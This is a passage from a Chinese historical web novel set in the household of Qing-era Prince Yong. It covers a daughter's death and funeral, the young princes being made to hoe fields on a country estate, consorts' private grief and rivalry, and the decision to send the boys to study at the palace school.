郑嬷嬷点了点头:“听闻额驸带过去的陪嫁也在外头等着王爷,王爷听到这个消息当即就给了额驸两拳,质问他为何不请太医前去医治。现在王爷已经赶去纳兰家了,福晋和李侧福晋收到消息也立刻过去了。” “那我要不要……”弘昼迟疑地问道,他不大清楚这个时候自己应不应该也跟着过去。 郑嬷嬷摇了摇头:“阿哥年纪尚幼,再说郡主是你的姐姐而非长辈。一切要等爷和福晋传消息回来,若是要您和四阿哥去,那必然会命人回来叫的。” “话虽如此,但到底是姐姐。”弘昼皱眉说道,“这几日咱们这院中也注意些,那些鲜艳华丽的摆件都收进去。还有收拾好我的东西,若是阿玛他们派人来叫就立刻过去。” 前几个月还见到的一个活生生的人不过两三个月就病逝了,这让弘昼很是唏嘘。对于这个时代的医疗条件又一次加深了印象,要*知道自己二姐姐可是郡主,这嫁的纳兰家也不差,算得上是顶级的贵族了。 现在就这样突然去了,阿玛平日里又这样疼爱这个女儿,现在必然很伤心。 赶去纳兰府的四爷急匆匆赶到了女儿院子,但他去的时候怀恪已经被装在棺材里了,他上前去看着面色惨白的女儿,伸出颤抖的手探了探怀恪的鼻息。 察觉到那里没有一丝异动,原本就颤抖的手更加颤抖了。 扭过头对着追过来低头道歉的纳兰星德又是一拳:“为何不请太医?你纳兰家若是叫不来太医,为何不来王府拿牌子?” “王爷息怒。”纳兰星德跪下来磕头,“前几日瞧着不过是普通的风寒,这两日病情重了已经叫了太医了,谁知……” 四爷更是怒不可遏,听见这样的话让他心中更为愤怒。他苦心将女儿留在京城,更是考察了多家后才选定了家风不错的纳兰家,念着的就是这家家风清正,怀恪又懂理知事,日后必然能过得不错。 若是早知道会这样,他当年就得将怀恪教得说一不二。生病了就必须找太医,什么乱七八糟的大夫都敢随便带到怀恪面前。 正在此时,福晋气喘吁吁地从外面走了进来,身后跟着已经哭得不能自已的李侧福晋。 第57章 种地 第57章 “爷,”福晋来不及将气息喘匀,连忙上前一步拉住了四爷,“怀恪病故,咱们还是先问问陪嫁是怎么说的。倘若不是额驸的错,您这样会让人看笑话的。” 说到这,福晋略微凑近了四爷,用气音说了一声:“您可要记得外头有的是人等着您犯错的。” 四爷如今在争的东西,福晋自然也是知道一二的。有时候有些事情由后宅的福晋们来传递更为合适,加之四爷也要与福晋说些外面的事情,免得福晋在与其他福晋交际的时候不知前头的事情而被动。 这话一下子就劝到了点上,四爷原本因为愤怒青筋暴起,现在慢慢冷静了下来。冷眼看着纳兰星德:“你没有将怀恪照顾好,当初嫁于你家的时候你是如何答应我的?我的怀恪现在不过二十来岁,甚至还未曾有过孩子。风寒,呵呵,风寒!” 纳兰星德重重地磕了两个头,哭道:“都是我的错,王爷若有什么不满只管冲着我来。不过怀恪如今已经去了,王爷,不能让怀恪的身后事没有体面啊。” 李侧福晋哭得呜呜咽咽的,现在她的脑子都是乱糟糟的。明明前儿还在中秋见过了,那时候还是好好的,怎么突然就去了。 生了四个孩子,这个唯一的女儿好不容易养到成年了。现在甚至连个外孙都没有留下,一个念想都没有就这样去了,这让她如何接受得了。 等看到怀恪的遗容,李侧福晋甚至直接哭晕了过去。 怀恪的葬礼办得很是隆重,她本就有郡主的封号,这么年轻就去了纳兰家很有些愧疚。在不逾制的前提下,什么都是用得最好的。 弘昼也和四哥去了两回,然后便被四爷和福晋勒令在家了。他们心中都相信这样的灵堂,小孩子不能多去,若是被魇着了,本就折了一个女儿了,再经不起更多的损失了。 女儿去世很是打击了四爷,他直接上折子抱病,甚至连过年的时候都没有入宫。 康熙对此很是理解,当初温宪也是这般,明明都养大成人甚至成家了。但在一夕之间就没了,那时候他也是这般深受打击,不过不同的是老四现在只是一个王爷,可以任性些。但他是皇上,那时只能暗自伤神几日。 四爷告假不进宫,福晋也索性直接告了假。这两位都不进宫了,自然年侧福晋李侧福晋还有弘昼三兄弟也就不去了。 不用进宫过年了让弘昼很是高兴,前两年进宫过年一直很是折腾。除却 第一二回去的时候有些新鲜感外,其余的时间就只觉得麻烦。 今年过年并不算隆重,怀恪郡主发丧的日子就在年前不久。虽说父母不必避讳孩子的丧事,但顾念着四爷对这个女儿的疼爱,福晋还是将过年原本定下的一系列热闹的都撤了,只是在除夕和初一的时候府中人聚在一起吃个团圆饭。 这个团圆饭还是弘昼在二姐姐过世后第一次见到李侧福晋,她消瘦了不少。原本虽然也是弱不禁风一挂的,但能看出身体不错,但现在瘦得衣裳几乎是挂在身上,仿佛吹过来两阵风就能将她吹走似的。 四爷这几年待李侧福晋已经有些不耐烦了,但这回怀恪过世,让他又对李侧福晋多了些怜惜。见李侧福晋用膳的时候不过勉强用几口,便关心了几句,还赐了几道菜。+ 但李侧福晋不见多领情,道谢的时候也是淡淡的。 女儿去世,她原本是怨额驸的,她那样康健的女儿嫁过去不过几年。甚至中秋回来的时候都是面色红润的,现在这么小年纪去了,肯定是纳兰家待她不好。可后来她逐渐怨起了四爷,为什么要给怀恪挑这么一个额驸? 但她不敢表现出来,也不能明着给四爷甩脸子,因为她还有弘时。原本四爷就对弘时很不耐烦了,从前怀恪经常过来劝导,才让四爷对弘时耐心些。现在怀恪没了,也不知道日后四爷对弘时会是个什么态度了。 年侧福晋微微皱了皱眉,她心中微妙地有点不悦。从前在众人面前被四爷注视关心这样的事情是独有她才有的待遇,现在让她看着李侧福晋享受这个待遇,心中不免不快。不过她也知道怀恪郡主刚去,现在和李侧福晋有冲突是一件很蠢的事情。 耿执羽低头继续吃菜,不参与这些眉眼官司。她和怀恪郡主没什么交际,更没什么感情,她进府的时候怀恪都十一二岁了,李侧福晋又是个霸道的,她们这些格格平日里根本见不到怀恪。 不过想到这么年轻的女孩子就这样去了,心中还是有些唏嘘。 而钮祜禄格格将这一切收入眼底,眸中闪过深思,三阿哥的又一座靠山倒下了。 今年过年的一切仪式都从简,用过年夜饭后弘昼就和四哥回到了自己的院子。前几日去见额娘还有钮祜禄额娘的时候,钮祜禄额娘专门叮嘱过这段日子他们不能顽皮,也不要欢声笑语的,自己在院子里好好待着,切不可玩闹太过。 这话弘历和弘昼都记住了,即便现在是大过年的,但他们依旧选择自己回院子。或看看书,或自己找点事情做。 这个年很快就过去了,但四爷还未急着回朝堂,反而是带着弘昼三兄弟去了庄子,甚至叫上了十三爷还有弘昌弘暾两兄弟。 到了庄子后,弘昼本以为是和从前一样在庄子踏春游玩,但没想到四爷这次带他们出来不是玩来了,而是种地来了。 看着眼前这一块地,还有地上摆着的锄头,弘昼扭过头去望向了自家阿玛。 四爷面带笑意,看着他们对着锄头犯难,似乎一点也不觉得自己给儿子们出了个难题。 弘时皱着眉看着这块还没有锄过的地,若是知道来庄子阿玛要发疯种地,他肯定来之前就报了不舒服,有这个时间还不如出门瞧瞧呢。 现在的弘时已经十三岁了,这两年间身体如春日里抽条的枝丫一般长得很快。个子眼看着马上就要超过四爷了,声音也逐渐开始变化成了公鸭嗓,这让他都不大爱开口说话了。 自己已经到了快要娶福晋的年纪了,弘时在心中抱怨。阿玛没急着给自己物色福晋也就罢了,怎么还带着自己不务正业,这种地是他这样的王爷该干的吗?还是八叔这个阿玛当得好,弘旺堂弟可真是幸福,若是有这样一个阿玛,日后袭爵是郡王还是贝子都无所谓了,况且八叔现在年纪还不大,日后说不定还能往上升。 弘历已经拿起了地上的锄头,不过他锄地的时候不得要领,身板直直的,腰也不曾弯一下看起来很是费劲。他毕竟没有见过人干农活,只是听闻过,自然是不会的。 微微弯腰,弘昼抓起了锄头在手上掂量了一下,他虽然也没有真正锄过地,但是也是见过人干这个活计的。现在心中想着从前见过的模样,弯着腰一下一下地锄着,虽然也不轻松,但瞧着比弘历干得要好点。 弘暾凑到了弘昼的耳边小声嘀咕:“难怪阿玛这回怎么都不愿意带弘晈,原来是来干活的,还好没带那小子,那小子过来肯定只会捣乱。” “瞎说,”弘昼也低声说道,“我上回过去找你玩,弘晈明明就很乖。” “你那是被他迷惑了!”弘暾突然就激动起来,声音略大了些引来了十三爷和四爷的注视,他便立刻老实了,假装自己在认真锄地。 见阿玛和四伯的眼神转开了,弘暾才继续道:“那小子惯会在你和弘历面前装,明明成日里在家中是个混世魔王,连阿玛看见他都头疼的。偏偏不知道为何,就是喜欢你和弘历,每次在你们面前都装乖。” “我看弘晈就是很乖啊。”弘昼坚持,虽说见到弘晈堂弟的次数不多,但印象中这个孩子一直挺乖巧的,冲着自己甜甜地笑的时候可爱极了。 弘暾撇了撇嘴懒得和他争辩,弘晈以后肯定会露出马脚的,那时候他就知道自己才是对的了。 眼前这块待锄的地半亩不到,有经验的农人前来一天也就弄完了。但弘昼一行一共七人,干了一天了连一半都没弄完,而且锄过的地方远不如农人锄得齐整。 即使这样,太阳快要落山的时候,弘昼的手依旧是累得快要抬不起来了。一旁的弘历和弘暾也是差不多的模样,都是累得都没力气说话了。 弘昌和弘时要好些,他们毕竟学骑射好几年了,体力要比这三个小的好不少。虽说也很累,但还能勉强保持仪态。 而四爷和十三爷就好不少了,虽说锄地不比几个孩子好多少,但是体力上要好不少。 “虽说农书读了不少,但自己前来试一试方知足蒸暑土气,背灼炎天光之辛劳。咱们这还是在春日里呢,还不算热便累成了这样。”四爷与十三爷感叹道。 十三爷的衣角上沾了点泥:“四哥怎么突然想起看农书了?” “从前只读过《齐民要术》,听闻农间收成看天,总是想着自己也来试一试。”四爷说道,“后来多翻了几本才明白,这种地当真是老天爷赏饭吃的差事。这几日我心绪不宁,便想到前来种地试试。今日虽辛劳,但让我心静了下来,看来这种地当真是一件不错的事。” 十三爷沉默片刻,不知答什么。 回到住的地方,弘昼直接干掉了两碗饭,今天这样一天的重劳动让他累极了。吃过饭后就直接在床上昏睡过去了,本想一觉睡到太阳升起,却在天还没亮的时候就被叫起来了。 第58章 得偿所愿 第58章 弘昼勉强睁开眼,就看到了自己眼前的弘历,他伸出手挡着自己的眼睛,开口的时候感受到了自己喉咙中干涩的感觉:“四哥,你不睡觉在这干什么?” “阿玛让我来叫你起床。”弘历的声音也带着点生无可恋。 弘昼的眼睛又闭了:“四哥,我不想去。” “我也不想去。”弘历叹息。 一刻钟后,弘昼穿戴整齐地从房间里走出来,他的眼睛里带着红血丝,一看就没有休息好。走路的时候三步一个哈欠,迷迷糊糊的样子让人不禁担忧他会不会在走路的时候栽倒在地里。 一到用膳的地方,弘暾和弘昌也是差不多的模样。 他们都是自小就锦衣玉食的公子哥,出生在王府中长这么大吃过的最大的苦也就是跟着先生念书,或者被阿玛训斥打顿板子。这样纯体力的苦头是真没吃过,短短一日这几个来庄子时还意气风发的阿哥现在都宛如霜打了的茄子一般蔫儿。 “快些用膳罢,”四爷坐在正位上,舀了一勺粥慢慢喝下去,彻底咽下去了才说道,“昨儿那半亩地还没锄完,今儿要接着锄了之后下种。” 听到这话,弘昼的手臂开始不由自主地发软,手掌也有点疼痛。 一扫四周,除了十三爷之外,其余的人脸上都是一副痛苦的表情,生动诠释了敢怒不敢言这句话。 弘昼食不知味地往嘴里塞着东西,直到吃完了早膳困意还是没有完全消散。 东方已经泛起了鱼肚白,现在的天气还很是凉爽,晨间的微风拂过吹在身上不仅不冷还有些舒适。 但是现在的弘昼几兄弟根本没有这个心思享受这份惬意,来到昨日的那块地后他们一个个苦着脸拿着属于自己的锄头开始任劳任怨地干活。 听阿玛方才话的意思,是这些活都必须干完。既然如此,那还不如早点干完算了。 昨天还有心情凑在一起说小话,今天一个个任劳任怨地拿着锄头,脑袋对着脚下的地连转一下都不曾。将这一片地都锄完后,弘昼没有一点包袱地坐在了田坎上,手中拿着水壶眼神直愣愣地看向前方。 突然觉得听先生讲课简直是最舒适的事情了,起码先生不会听着听着突然拿出一个锄头让自己去锄地。 弘历弘暾也是差不多的姿势,一个个都直愣愣看着前方,似乎在思考人生。 弘时和弘昌要稍微好点,但也累得不行,心中不停地抱怨着,但却不敢抱怨出声。 十三爷的眼神扫过几个孩子,他也有些乏了但没有几个孩子这么疲惫,对着四爷说道:“四哥,你这回真是把弘昼喜欢去庄子的事情给戒了。” 弘昼经常吵着想去庄子玩这件事,十三爷也是知道的。和四哥见面的时候,除了前朝的政事外,偶尔也会说些家长里短,弘昼是被四爷吐槽最多的。 “我还情愿他喜欢来庄子,”四爷往那边看了一眼,“这样日后便不缺佃户了。” 十三爷听到这话,闷笑出声:“哪有叫自己儿子佃户的。” “这种菜是件不错的事,可以让人心静,若弘昼也喜欢自然是再好不过。”四爷慢慢说道,“便是不喜欢,带他们来试试也很好。” “怕是日后都不敢嚷着来庄子了。”十三爷摇头。 这边弘昼他们歇了一会儿便被叫着继续回去锄地,今日的效率要比昨日的快多了,一下午的时间将昨日剩下的都锄完了。接着便是种菜了,这种菜要弯下腰,一天下来弘昼觉得自己明明年纪轻轻的,但却有了一个老年腰。 将这块地收拾好了之后,四爷终于不将几个孩子留在田里干活了。 弘昼结结实实在床上躺了一天才勉强恢复元气,才算有心思出去玩。 这回来庄子,他们都是带了各自的小马驹来的。弘昼本来打算的是,庄子地方大,比府里的校场大了不知道多少,正好可以趁着这段时间来练习一下骑马,最好成功从在马上散步进步到能让琥珀小跑。 这几个月不见,琥珀明显长大了不少,弘昼凑近琥珀抚摸着它的鬃毛,一边给他喂草一边念叨着。 “好久不见,你应该还认识我吧,琥珀乖乖的,等会儿咱们一起出去玩。在府中一直待在马厩里也无聊了吧,放心,等会儿咱们玩个够。” 琥珀似乎听懂了,打了个响鼻回应了一下弘昼。 这个回应让弘昼更开心了,不停地在琥珀耳朵边上念叨着。 弘暾也牵着马儿站在一边,见此嘲笑道:“弘昼,你不会是还没学会骑马,骗我的吧?怎么都这么久了你还在下面喂马,快上马跑两圈啊。” “你这什么话?”弘昼哼了一声,“这么久没见到琥珀,肯定要先培养感情啊,这可是我的马儿,我一定要让它亲近我才行。” “我才不信呢,”弘暾说道,“那你快上马瞧瞧。” 弘历没参与他们之间的口舌之争,而是很利落地直接翻身上马。他的那匹马很温顺,乖乖等他坐稳了之后才慢慢往前走。 见四哥已经上去了,弘昼也懒得争辩,选择直接翻身上马。 “还真学会了。”弘暾嘀咕了一声,也跟着翻身上马,控制着马儿和弘昼并肩,“那你学得还挺快的嘛。” 身后的护卫驾着马儿跟着,这些小祖宗马术都不算精湛,要仔细看着才行。 在野外跑和在府中跑的感觉完全不一样,弘昼感觉琥珀今日也兴奋了不少,他开始尝试让琥珀进行小跑。虽说速度不快,但感受着马儿跑步时的风心中满足极了。 弘暾要比弘昼和弘历早一年学骑马,此时他的骑术早已精湛了不少。让马儿一直保持着和弘昼弘历不远的位置,时不时出声指点一二。 这骑了一两个时辰的马,弘昼觉得自己几乎要把前几天干农活的都忘光了。就算以后知道来庄子要先干农活才能骑马,应该也是愿意的。 弘昼和弘历骑了好几天的马还是不腻,但四爷已经要带着他们回府了。 四爷是要在汗阿玛那里树一个淡泊明志关心农桑的人设,但不是完全不想管政事了。告假这么长时间已经足够了,他不能一直在庄子待着。 得知明日就回去的弘昼脸上带了点不舍,他舍不得这样能随便跑马的庄子。 不过他也不敢说,万一一说出来阿玛给他找些活干怎么办。 从庄子回到王府,弘昼第一件事就是和四哥一起去给嫡额娘请安,随后再回额娘的院子去看看额娘。 耿执羽看着两个孩子明显瘦了一圈的模样皱了眉:“怎么出去玩还瘦了?” 钮祜禄格格拉过两个孩子上下打量着:“可是庄子的饭不合胃口?也不对呀,这庄子你们也不是头一回去了。” “不是,”弘昼给自己灌了一杯水后才说道,“额娘们是不知道,我们在庄子里……” 将在庄子里干活和骑马的事情都说了,听得耿执羽皱了眉。 钮祜禄格格虽然在书上见过农人干活的辛劳,但她并未亲眼见过,听着两个孩子的话虽说有些心疼但也还好。但耿执羽却是亲眼见过的,当即便心疼的不行。 “伏云,你拿着银子去大厨房,点几个五阿哥和四阿哥爱吃的菜。”耿执羽扭头吩咐伏云,她其实更想抱怨四爷不靠谱,带着两个孩子去干活,但这话她不敢说出来。 “耿额娘不必这般心疼,”弘历说道,“虽说干活是累了些,但吃得很不错,都是刚从地里摘出来的菜,可好吃了。” “你是好孩子。”耿执羽爱怜地摸了摸弘历的脑袋,“在庄子吃得好就好,这在府中额娘心疼你加几个菜也不是什么大事,难不成你怕耿额娘的月例银子吃不起吗?” 钮祜禄格格睨了一眼:“你们俩倒是表现得比我更像亲母子些。” “那他们自去当亲母子,”弘昼蹭到了钮祜禄格格身边,“钮祜禄额娘疼我就好了。” 拉着弘昼的手,钮祜禄格格笑道:“是啦,我只疼我们小五就好了。我们小五自幼就是可人疼的孩子,看看现在长大也是让人心疼。” 耿执羽没好气地看着钮祜禄格格和弘昼,向天翻了个白眼。 另一边的四爷则在回府后先去了东侧院瞧着李侧福晋,见李侧福晋依旧是一副神思不属的表情,吃饭的时候还是没什么胃口,便在饭后叹息着走了。 “侧福晋,”梅枝有些着急,“这爷好不容易过来一次,您怎么能这样?” 李侧福晋蔫蔫的:“那我该如何,立刻打扮得花枝招展笑脸相迎么?我的怀恪这才去了几月,他便这般安心地带着那两个小贱种出门游玩去了。如今是瞧不出一点为怀恪伤心的样子了,我瞧着他就……” 最后恶心这两个字被李侧福晋吞了回去,即便心中已经膈应极了,但她还是不敢在这里说出这种话。 “可是您想想三阿哥,”梅枝皱着眉说道,“咱们还有三阿哥呢,只有您立起来了,才能为三阿哥争啊。” “弘时的路自有他自己。”李侧福晋微微仰头,似乎在房梁上看到了怀恪的笑脸,眼眶一热,“他既是长子,在年氏生子前也是身份最高的,连个齐平的人都没有。倘若这样都挣不到,那就是没这个命。” “您……”梅枝惊了,这还是从前那个因为世子之位和王爷吵架的侧福晋吗? 李侧福晋却懒得理她的反应,拿出手绢将自己眼角的泪拭去。 西侧院 四爷要过来是打发了人来说的,年侧福晋站在院中相迎。 “你身子不好,如今虽说已经是春日里了,但还是有邪风,何必在院中等着呢。”四爷见年侧福晋站在院中等着,脸色柔和了一点说道。 方才在李氏那里受到了冷遇,这让他有些无所适从,毕竟从前他不论去哪里都极受欢迎。但他也知道此时不能怪李氏,便只能自己咽了。 年侧福晋笑得柔柔的:“爷这一去便是七八日,独留妾身一人在这西侧院等着。这么久不见,妾身愿言思伯,甘心首疾。” “不过去几日,哪里就到这个程度了。”四爷笑意更明显,拉上了年侧福晋的手。 “自君之出矣,明镜暗不治。从前读到这里的时候,总是觉得夸张,”年侧福晋微微低头,耳垂却红了,“不过是几日不见,何至于连梳妆的心思都没有了。但自己经历了,方才觉得一点也不夸张,妾身这几日的心思便是如此,若非要去给姐姐请安,只怕也是懒得梳妆了。” 在四爷拉上年侧福晋的手时,屋中的人就已经很默契地退了出去。 “欲寄彩笺兼尺素,又恐不过临别几日,惹得十三弟笑话。”四爷回道。 年侧福晋抬头一笑,脸上仿佛流转着月华一般动人:“倘若真有彩笺寄来,妾必好好收着,日日翻阅。” 屋内的气氛旖旎,互诉衷肠的话说了几轮后,年侧福晋终于问了四爷方才为何脸色瞧着不好。 “刚从东侧院出来,”四爷叹道,“李氏还在为怀恪伤怀,叫我看着也难免伤心。” 年侧福晋的笑脸收了起来,叹了口气:“谁说不是呢,李姐姐辛辛苦苦养这么大,郡主又这般年轻。” 四爷一时更是伤怀,脸上神情落寞了些。 “不过爷不可一直沉溺伤心,”年侧福晋又道,“郡主是个极为孝顺的孩子,虽说妾身嫁进来没多久郡主便出阁了。但是这往日里来往也能瞧出郡主的孝心,这样的孩子最怕的就是自己惹阿玛额娘伤心了。倘若一直伤心伤了身子,只怕郡主在底下瞧着也难过。” “怀恪是个好孩子。”四爷又叹了一声。 年侧福晋劝了几句,终于让四爷不再为孩子叹气了。在西侧院待了一会后,四爷便去了书房,这几日在庄子待着,书房一堆的公务等着他回来。 看到四爷的脚步迈出去后,年侧福晋脸上的笑意才收了起来。 “侧福晋,”在桑上前小心翼翼道,“坐胎药已经熬好晾凉了。” “端过来吧。” 年侧福晋接过坐胎药一饮而尽,苦涩的药味充满了整个口腔。她一直都在喝了坐胎药后不吃蜜饯也不喝水,只因为从前听人说过喝药后吃东西会影响药效,为了保持药效便一直如此了。 将碗递出去后,年侧福晋下意识抚了抚自己的肚子。 上个女儿仅在降临半月后便去了,她那时觉得自己伤心的要和女儿同去了。现在即便熬过去了,但想起女儿依旧会伤心。 怀恪郡主去了,她看着四爷和李氏伤心的模样心中也难免悲伤。她心中有时候在想,怀恪郡主去了下葬有郡主的规格,有一群人为她戴孝办丧事,可她的女儿只被一具棺材就抬出去了。 现在还有人为郡主伤心,但她的女儿似乎早就无人提起了。 “这药这样苦,真是难为侧福晋。”在桑在耳边这样说道。 年侧福晋又摸了摸自己的肚子:“苦不苦的倒是无所谓,只盼着能早日生下女儿。” 田嬷嬷欲言又止,她觉得还是早日生个阿哥有利些。自家侧福晋这样得宠,早些生个阿哥说不定能盼一盼世子之位,甚至更高的位置也犹未可知。若是阿哥生晚了等这几位阿哥都成家了,自家侧福晋即便再得宠那孩子太小了依旧扶不起来。 但她也明白侧福晋这几年心里一直惦记着小格格,盼着再生个女儿能让小格格回来。 “侧福晋一定会得偿所愿的。” 第59章 上书房 第59章 回府后弘昼和弘历都继续跟着先生念书,和阿玛去锄了两三天的地之后,弘昼觉得其实跟着先生念书也是一件不错的事情,起码不会累得手都抬不起来。 他们过了六岁的生辰后,便和弘时一样每日要上三个时辰的课了。先生也不是之前的那位,而是换了一位学问很不错的举子。这位先生讲课的时候不如上一位讲得生动有趣,所以弘昼听课的时候都是在强迫自己集中精神的。 弘昼现在也知道自己日后是要去考封的,不能指望临时抱佛脚就能考得三优,便只能在平时的时候也努力些了。再说阿玛隔三岔五就过来考校最近学的东西,他可不想接受阿玛的死亡凝视。 这日,看着先生从屋子里走出去后,弘昼一脑袋栽到了自己的案几上。用五官在桌面上滚来滚去的,想要借此让自己清醒些。 弘历在一边收拾着自己的文房四宝,一个眼神都没有给过来,他已经习惯这些日子弟弟在散学后表现的这样疯癫的模样了。 “四哥,”弘昼叹了口气,扭过头来看着弘历,“你说咱们什么时候能再去庄子玩玩?” “你不怕被阿玛揪过去锄地?”弘历将砚台归位,抬头看着弘昼问道。 但抬头的一瞬间,弘历的眼神就变了,语气无奈:“刚写了字你就敢直接滚上去?” 弘昼的脸上沾着墨水,似乎是被滚开了,整个脸都带了点斑驳的痕迹。看上去简直变成了一只小花猫,让弘历看见就想笑。 “什么?”弘昼无辜地问了一声,随后伸出手在自己脸上抹了一下再拿远了看。 糟糕,这不是写了挺久的吗,怎么还没干透。 顾不得和四哥说话了,弘昼看见手上有墨水后第一时间就想要回去把自己的脸洗干净。 看着弘昼夺门而出,弘历不疾不徐走到他的书案前,拿起了那张大字。 这段日子他们已经在学写大字了,一日要写十张。弘昼这一张被他滚得已经模糊不堪,看来这一张是不能拿去给先生交差了。 顺手将弘昼书案上的东西收拾好,弘历拿着弘昼写出的那三张大字准备先回院子,将自己的东西放下后再把大字还给弟弟。这三张大字要是找不到,弘昼今日就要多写三张,他肯定要念叨好几日。 但刚出屋子,就看到了不远处乖乖站着的弘昼,还有弘昼对面的阿玛。 四爷立在弘昼面前,他脸色有点黑,看着弘昼被墨水抹黑的脸有点恨铁不成钢:“你都多大了,怎么还这样玩墨水。” “阿玛,我没有。”弘昼弱弱解释,他也不知道应该怎么和阿玛形容自己刚刚其实只是在桌子上滚了一下脸,只是没想到墨水没干而已。 弘历见此场景,赶忙快速两步走上前来行礼:“给阿玛请安。” 四爷见弘历来了,停下了预备训斥弘昼的话:“弘昼快去收拾一下,随后你们兄弟俩来我书房。” 弘昼和弘历对视了一眼,都想要在对方眼中看出阿玛找他们是为了什么。但无奈只看到了两眼空空,便只能先冲着四爷告退了。 “四哥,你说阿玛这时候找咱们是为了什么?”弘昼一离开四爷的视线范围,就开始拉着弘历说小话,“考校功课不是一般都是傍晚吗?” 傍晚的时候四爷考校功课能顺便看看他们今日写的大字,加上四爷多数时候要在书房办正事,到了傍晚才有空,所以一般都是傍晚的时候才会找他们。现在这个时候才申时,离傍晚还有差不多一个半时辰,现在叫他们过去也不知道是有什么事。 “我也不知道。”弘历学着弘昼的样子小声说道,“可能不是为了功课吧。” 这话让弘昼的眉都凝了起来,下意识道:“不是为了功课?不应该吧,不是为了功课找我们做什么。” 在弘昼的心中,阿玛一般找自己很少有什么好事。不是考校功课就是考校功课,不是考校功课的话还真不知道能说什么。 说话间就到了他们俩的院子,弘昼回自己院子后先是把脸还有手洗干净,随后换了身衣裳。他现在的力气不大,有时候写毛笔字的时候控制不住手下的力道,就会让墨汁在身上飞溅,所以他一般这时候回来都是不换衣裳,等把大字都写完才换的。 但马上要去见阿玛,自家阿玛那个龟毛的程度,要是他回去洗脸了没换衣裳肯定是要被骂的。他不是很想被骂,所以还是换一下好了。 换好了衣裳后,弘昼才出屋子就看到了等在一边的四哥。 兄弟俩一起到了四爷的书房,苏培盛已经候在外面了,见他们来对着他们扬起了一个热情的笑容后便直接让他们进去。 弘历和弘昼对视了一眼,心中有一点不大好的预感。虽说苏公公对他们一直很客气,但这样热情还是少见的。 进去后四爷正坐在一张很大的书案前,此时正皱着眉翻开着一本折子,见他们进来行礼才放下。 “起来吧。”四爷盯着他们俩的脸看,声音很缓,“你们皇玛法预备让各府中将适龄的孩子送进去在上书房念书。” 一点圈子也不兜,这句话直接把弘昼和弘历都砸蒙了*。 “啊?”弘昼惊呼出声,“那我们是要进宫去念书了吗?” 四爷的手轻轻敲击在书案上,一声一声地在书房里显得很有压迫感:“这事还没定,你们三兄弟皆算适龄,若说去的话也都能去。” 弘时今年十三了,这两个小的六岁,都是上书房能念书的年纪。当年四爷便是六岁去上书房,到了十五岁开始办差事,这三个孩子的年纪都合适。 但四爷有些迟疑,现在宫中在上书房念书的皇子有两个。一个是庶妃陈氏所出的二十一弟胤禧,今年十一岁,另一个则是谨嫔所出的二十二弟胤祜。这两个弟弟的母族不显,但在这些年却是极为得汗阿玛的宠爱。 现在汗阿玛命各皇子府中将适龄的孩子送进去念书,若是孩子在里头表现得好了,自然也为朝堂上的阿玛添光。可若没有一个表现好的,那在汗阿玛的眼中可就是大大的减分了。 都已经这个年纪了,四爷明白子嗣也是自己争取那个位置的筹码之一。汗阿玛现在选人,也要看那个人下面有没有靠得住的阿哥。 四爷的眼神打量着两个孩子,这两个孩子一直以来表现得都很不错,功课上很不错,行事作风也不错,最令四爷高兴的是他们之间的兄友弟恭宛如他和十三弟一般。将这两个孩子送进去,四爷唯一担心的就是这两个孩子年纪太小了,会被人算计。 至于弘时,四爷现在还没想好要不要让他去。弘时的年纪处在一个能去念书也能不念的年纪,若不想他去的话只需一个说得过去的借口就行了。 弘昼迷惑地眨了一下眼睛:“那究竟是去还是不去呢?” “你们想去吗?”四爷问道。 “去宫中念书和在家中念书有何不同吗?”弘历抬头。 四爷赞许地看了他一眼,他一贯是很看好弘历的:“上书房的先生们都是当朝的大儒,有翰林的先生会来给你们授课。还有专门的武师傅,这些都是比在府中要好的。” “那比在府中差的呢?”弘昼问道。 四爷将他从前在宫中的作息说了出来,当弘昼听到寅时起床申时末才散学的时候,嘴巴就已经变成了o形。 这比996还狠,996起码还有十二个小时能休息,这个皇子作息表只有十个小时,这十个小时还包括了吃饭睡觉等等一系列事情的时间。 “还有就是,”四爷说道,“这回进宫与你们相处的还有许多堂兄弟,以及他们的二十一叔和二十二叔。” “二十一叔和二十二叔多大?”弘昼好奇。 “小二十一今年十一岁了,而二十二则与你们同龄。” 哇,和自己一样大的叔叔,弘昼看着自家阿玛,不知道该惊叹自己有个和自己同龄的亲叔叔,还是惊叹阿玛有个和自己儿子同龄的亲弟弟。 “那,”弘昼小心翼翼问道,“阿玛,我可以不进宫念书吗?” 弘昼想起刚才阿玛说还没定下,那应该就是有可以商量的余地吧。 四爷挑眉:“为何不想去?” 还不等弘昼回答,四爷就转向了弘历:“你也不想去吗?” 弘历静默了一下,说道:“儿子想去。” 这话似乎让四爷起了点兴趣:“为何?” “方才阿玛说了,只要去宫里念书,那教我们的便会是朝中的翰林,武师傅也会是皇玛法身边的御前侍卫。”弘历的回答很冷静,“这些便已经很吸引儿子,再加上其余的堂兄弟要去得不少,儿子也想和堂兄堂弟们的长处学学。” “不错。”四爷的嘴角上扬了一下,他这次至少送两个儿子进宫,其中必然有弘历。 弘昼看着四哥,他想起那个作息还是有点打退堂鼓。可既然四哥去了,他要不要去陪着四哥,如果让四哥和三哥待在一起那简直就是折磨。 “你们兄弟二人都要去。”瞬息间四爷便做出了决定,“不,是兄弟三人。” 他方才在犹豫让不让弘时去,弘时虽说一直文不成武不就的,也一直有点愚笨和狠毒。但这样的情况还是得让他也去上书房,先去一个月瞧瞧,倘若不行一个月后便给弘时告假就是了。 弘历进宫倒是不用担心,四爷的目光看向了弘昼,这小子平日里最为疲懒,进宫去锻炼一下也好。 弘昼:? 刚刚不是还说得没定下吗,怎么现在立刻就定下了。弘昼在心中吐槽,但他不敢说出来,以阿玛的脾气要是把这话说出来了,说不定先骂他一顿没出息,然后输出一下他念书不认真的观点,最后还是得去。 从阿玛的书房里出来,弘昼无奈地看了一眼四哥:“方才阿玛还没说咱们什么时候进宫,也不知道还有几天好日子能过。” 弘历一笑,他没有说话,只是抬眼看了看黄昏将近的天。 两个小的走了之后,四爷在书房沉默地想了一会吩咐:“去将弘时喊来。” 弘时现在不在府中,傍晚回府的时候才知道阿玛在一个时辰前找过自己,这让他冷汗有些下来了。阿玛已经许久不曾找他了,叫他有些放松过了。 急匆匆来到四爷的书房,弘时站在门口心惊胆战地等着阿玛的传唤。 “去哪了?” 弘时进去行礼后,四爷没有急着叫起,而是冷淡地问了一句。 “儿子,儿子今儿和弘晟堂兄有约。”弘时回答的小心翼翼的,“已经和先生告过假了。” 四爷冷淡地看着他,心中很想骂他不好好念书在这些事情上用心,但立刻就想到了怀恪,这过世不久的女儿。 